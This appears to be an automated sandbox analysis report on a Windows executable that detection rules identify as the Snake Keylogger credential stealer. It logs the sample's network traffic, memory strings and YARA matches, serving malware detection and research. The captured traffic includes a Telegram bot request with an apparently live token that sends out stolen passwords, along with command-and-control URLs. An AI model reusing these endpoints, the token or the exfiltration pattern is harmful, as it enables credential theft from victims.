Source: Joe Sandbox View	IP Address: 104.21.16.1 104.21.16.1
Source: Joe Sandbox View	IP Address: 104.21.16.1 104.21.16.1
Source: Joe Sandbox View	IP Address: 158.101.44.242 158.101.44.242

Source: Joe Sandbox View	JA3 fingerprint: 54328bd36c14bd82ddaa0c04b25ed9ad
Source: Joe Sandbox View	JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: unknown	DNS query: name: checkip.dyndns.org
Source: unknown	DNS query: name: reallyfreegeoip.org

Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.6:49722 -> 158.101.44.242:80
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.6:49712 -> 158.101.44.242:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:49716 -> 104.21.16.1:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:49727 -> 104.21.16.1:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:49756 -> 104.21.16.1:443

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive

Source: unknown

HTTPS traffic detected: 104.21.16.1:443 -> 192.168.2.6:49713 version: TLS 1.0

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:855271%0D%0ADate%20and%20Time:%2022/01/2025%20/%2015:53:21%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20855271%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D HTTP/1.1Host: api.telegram.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive

Source: global traffic	DNS traffic detected: DNS query: checkip.dyndns.org
Source: global traffic	DNS traffic detected: DNS query: reallyfreegeoip.org
Source: global traffic	DNS traffic detected: DNS query: api.telegram.org

Source: unknown

HTTP traffic detected: POST /bot7611127374:AAGXC2jAyl-P1rRPCEhU4dJbqLtPBhqL70U/sendDocument?chat_id=-4732682041&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd3b6796ff3d52Host: api.telegram.orgContent-Length: 584

Source: global traffic

HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Wed, 22 Jan 2025 08:48:20 GMTContent-Type: application/jsonContent-Length: 55Connection: closeStrict-Transport-Security: max-age=31536000; includeSubDomains; preloadAccess-Control-Allow-Origin: *Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection

Source: 299371485_14108825808_1736351479899.exe, 00000006.00000002.4622133854.0000000003127000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://51.38.247.67:8081/_send_.php?L
Source: 299371485_14108825808_1736351479899.exe, 00000000.00000002.2219355172.000000000433C000.00000004.00000800.00020000.00000000.sdmp, 299371485_14108825808_1736351479899.exe, 00000006.00000002.4617089897.0000000000402000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://51.38.247.67:8081/_send_.php?LCapplication/x-www-form-urlencoded
Source: 299371485_14108825808_1736351479899.exe, 00000000.00000002.2219355172.000000000433C000.00000004.00000800.00020000.00000000.sdmp, 299371485_14108825808_1736351479899.exe, 00000006.00000002.4622133854.0000000003071000.00000004.00000800.00020000.00000000.sdmp, 299371485_14108825808_1736351479899.exe, 00000006.00000002.4617089897.0000000000402000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://aborters.duckdns.org:8081
Source: 299371485_14108825808_1736351479899.exe, 00000000.00000002.2219355172.000000000433C000.00000004.00000800.00020000.00000000.sdmp, 299371485_14108825808_1736351479899.exe, 00000006.00000002.4622133854.0000000003071000.00000004.00000800.00020000.00000000.sdmp, 299371485_14108825808_1736351479899.exe, 00000006.00000002.4617089897.0000000000402000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://anotherarmy.dns.army:8081
Source: 299371485_14108825808_1736351479899.exe, 00000006.00000002.4622133854.0000000003071000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org/
Source: 299371485_14108825808_1736351479899.exe, 00000000.00000002.2219355172.000000000433C000.00000004.00000800.00020000.00000000.sdmp, 299371485_14108825808_1736351479899.exe, 00000006.00000002.4617089897.0000000000402000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org/q
Source: 299371485_14108825808_1736351479899.exe, 00000000.00000002.2217732877.00000000029D7000.00000004.00000800.00020000.00000000.sdmp, 299371485_14108825808_1736351479899.exe, 00000006.00000002.4622133854.0000000003071000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: 299371485_14108825808_1736351479899.exe, 00000000.00000002.2219355172.000000000433C000.00000004.00000800.00020000.00000000.sdmp, 299371485_14108825808_1736351479899.exe, 00000006.00000002.4622133854.0000000003071000.00000004.00000800.00020000.00000000.sdmp, 299371485_14108825808_1736351479899.exe, 00000006.00000002.4617089897.0000000000402000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://varders.kozow.com:8081
Source: 299371485_14108825808_1736351479899.exe, 00000006.00000002.4626221410.0000000004091000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: 299371485_14108825808_1736351479899.exe, 00000000.00000002.2219355172.000000000433C000.00000004.00000800.00020000.00000000.sdmp, 299371485_14108825808_1736351479899.exe, 00000006.00000002.4622133854.000000000311A000.00000004.00000800.00020000.00000000.sdmp, 299371485_14108825808_1736351479899.exe, 00000006.00000002.4617089897.0000000000402000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot
Source: 299371485_14108825808_1736351479899.exe, 00000006.00000002.4626221410.0000000004091000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: 299371485_14108825808_1736351479899.exe, 00000006.00000002.4626221410.0000000004091000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: 299371485_14108825808_1736351479899.exe, 00000006.00000002.4626221410.0000000004091000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: 299371485_14108825808_1736351479899.exe, 00000006.00000002.4622133854.0000000003127000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstore?hl=en
Source: 299371485_14108825808_1736351479899.exe, 00000006.00000002.4626221410.0000000004091000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: 299371485_14108825808_1736351479899.exe, 00000006.00000002.4626221410.0000000004091000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: 299371485_14108825808_1736351479899.exe, 00000006.00000002.4626221410.0000000004091000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: 299371485_14108825808_1736351479899.exe, 00000000.00000002.2219355172.000000000433C000.00000004.00000800.00020000.00000000.sdmp, 299371485_14108825808_1736351479899.exe, 00000006.00000002.4622133854.00000000030BD000.00000004.00000800.00020000.00000000.sdmp, 299371485_14108825808_1736351479899.exe, 00000006.00000002.4617089897.0000000000402000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/
Source: 299371485_14108825808_1736351479899.exe, 00000006.00000002.4626221410.0000000004091000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: 299371485_14108825808_1736351479899.exe, 00000006.00000002.4626221410.0000000004091000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: 299371485_14108825808_1736351479899.exe, 00000006.00000002.4622133854.0000000003127000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.office.com/

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 49844 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49727 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49716 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49844

Source: unknown

HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.6:49789 version: TLS 1.2

Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe

Window created: window name: CLIPBRDWNDCLASS

Jump to behavior

System Summary

Malicious sample detected (through community Yara rule)

Source: 0.2.299371485_14108825808_1736351479899.exe.437ec40.4.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 0.2.299371485_14108825808_1736351479899.exe.437ec40.4.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 0.2.299371485_14108825808_1736351479899.exe.437ec40.4.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 0.2.299371485_14108825808_1736351479899.exe.433c220.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 0.2.299371485_14108825808_1736351479899.exe.433c220.0.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 0.2.299371485_14108825808_1736351479899.exe.433c220.0.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 6.2.299371485_14108825808_1736351479899.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 6.2.299371485_14108825808_1736351479899.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 6.2.299371485_14108825808_1736351479899.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 0.2.299371485_14108825808_1736351479899.exe.433c220.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 0.2.299371485_14108825808_1736351479899.exe.433c220.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 0.2.299371485_14108825808_1736351479899.exe.433c220.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 0.2.299371485_14108825808_1736351479899.exe.437ec40.4.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 0.2.299371485_14108825808_1736351479899.exe.437ec40.4.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 0.2.299371485_14108825808_1736351479899.exe.437ec40.4.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 00000006.00000002.4617089897.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 00000000.00000002.2219355172.000000000433C000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: Process Memory Space: 299371485_14108825808_1736351479899.exe PID: 4876, type: MEMORYSTR	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: Process Memory Space: 299371485_14108825808_1736351479899.exe PID: 6240, type: MEMORYSTR	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown

Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe

Process Stats: CPU usage > 49%

Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Code function: 0_2_0272D3C4	0_2_0272D3C4
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Code function: 0_2_0D752AA8	0_2_0D752AA8
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Code function: 6_2_0159C146	6_2_0159C146
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Code function: 6_2_01597118	6_2_01597118
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Code function: 6_2_0159A088	6_2_0159A088
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Code function: 6_2_01595362	6_2_01595362
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Code function: 6_2_0159D278	6_2_0159D278
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Code function: 6_2_0159C468	6_2_0159C468
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Code function: 6_2_0159C738	6_2_0159C738
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Code function: 6_2_0159F979	6_2_0159F979
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Code function: 6_2_0159E988	6_2_0159E988
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Code function: 6_2_015969A0	6_2_015969A0
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Code function: 6_2_01593B95	6_2_01593B95
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Code function: 6_2_0159CA08	6_2_0159CA08
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Code function: 6_2_0159CCD8	6_2_0159CCD8
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Code function: 6_2_0159CFAA	6_2_0159CFAA
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Code function: 6_2_01593E09	6_2_01593E09
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Code function: 6_2_0159E97A	6_2_0159E97A
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Code function: 6_2_015929EC	6_2_015929EC
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Code function: 6_2_01593AA1	6_2_01593AA1
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Code function: 6_2_06F0AFD0	6_2_06F0AFD0
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Code function: 6_2_06F0DE4B	6_2_06F0DE4B
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Code function: 6_2_06F04A00	6_2_06F04A00

Source: 299371485_14108825808_1736351479899.exe, 00000000.00000002.2222946513.0000000004EE0000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameCaptive.dll" vs 299371485_14108825808_1736351479899.exe
Source: 299371485_14108825808_1736351479899.exe, 00000000.00000002.2219355172.0000000003FC1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameMontero.dll8 vs 299371485_14108825808_1736351479899.exe
Source: 299371485_14108825808_1736351479899.exe, 00000000.00000002.2219355172.00000000037A9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCaptive.dll" vs 299371485_14108825808_1736351479899.exe
Source: 299371485_14108825808_1736351479899.exe, 00000000.00000002.2217732877.00000000029D7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameRemington.exe4 vs 299371485_14108825808_1736351479899.exe
Source: 299371485_14108825808_1736351479899.exe, 00000000.00000002.2219355172.000000000433C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameRemington.exe4 vs 299371485_14108825808_1736351479899.exe
Source: 299371485_14108825808_1736351479899.exe, 00000000.00000002.2224357867.0000000009B20000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameMontero.dll8 vs 299371485_14108825808_1736351479899.exe
Source: 299371485_14108825808_1736351479899.exe, 00000000.00000002.2216276435.00000000007DE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameclr.dllT vs 299371485_14108825808_1736351479899.exe
Source: 299371485_14108825808_1736351479899.exe, 00000000.00000000.2167338827.0000000000342000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameHQYI.exeH vs 299371485_14108825808_1736351479899.exe
Source: 299371485_14108825808_1736351479899.exe, 00000006.00000002.4630511383.0000000007319000.00000004.00000010.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameUNKNOWN_FILET vs 299371485_14108825808_1736351479899.exe
Source: 299371485_14108825808_1736351479899.exe, 00000006.00000002.4617089897.0000000000402000.00000040.00000400.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameRemington.exe4 vs 299371485_14108825808_1736351479899.exe
Source: 299371485_14108825808_1736351479899.exe	Binary or memory string: OriginalFilenameHQYI.exeH vs 299371485_14108825808_1736351479899.exe

Source: 299371485_14108825808_1736351479899.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 0.2.299371485_14108825808_1736351479899.exe.437ec40.4.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 0.2.299371485_14108825808_1736351479899.exe.437ec40.4.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 0.2.299371485_14108825808_1736351479899.exe.437ec40.4.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 0.2.299371485_14108825808_1736351479899.exe.433c220.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 0.2.299371485_14108825808_1736351479899.exe.433c220.0.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 0.2.299371485_14108825808_1736351479899.exe.433c220.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 6.2.299371485_14108825808_1736351479899.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 6.2.299371485_14108825808_1736351479899.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 6.2.299371485_14108825808_1736351479899.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 0.2.299371485_14108825808_1736351479899.exe.433c220.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 0.2.299371485_14108825808_1736351479899.exe.433c220.0.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 0.2.299371485_14108825808_1736351479899.exe.433c220.0.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 0.2.299371485_14108825808_1736351479899.exe.437ec40.4.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
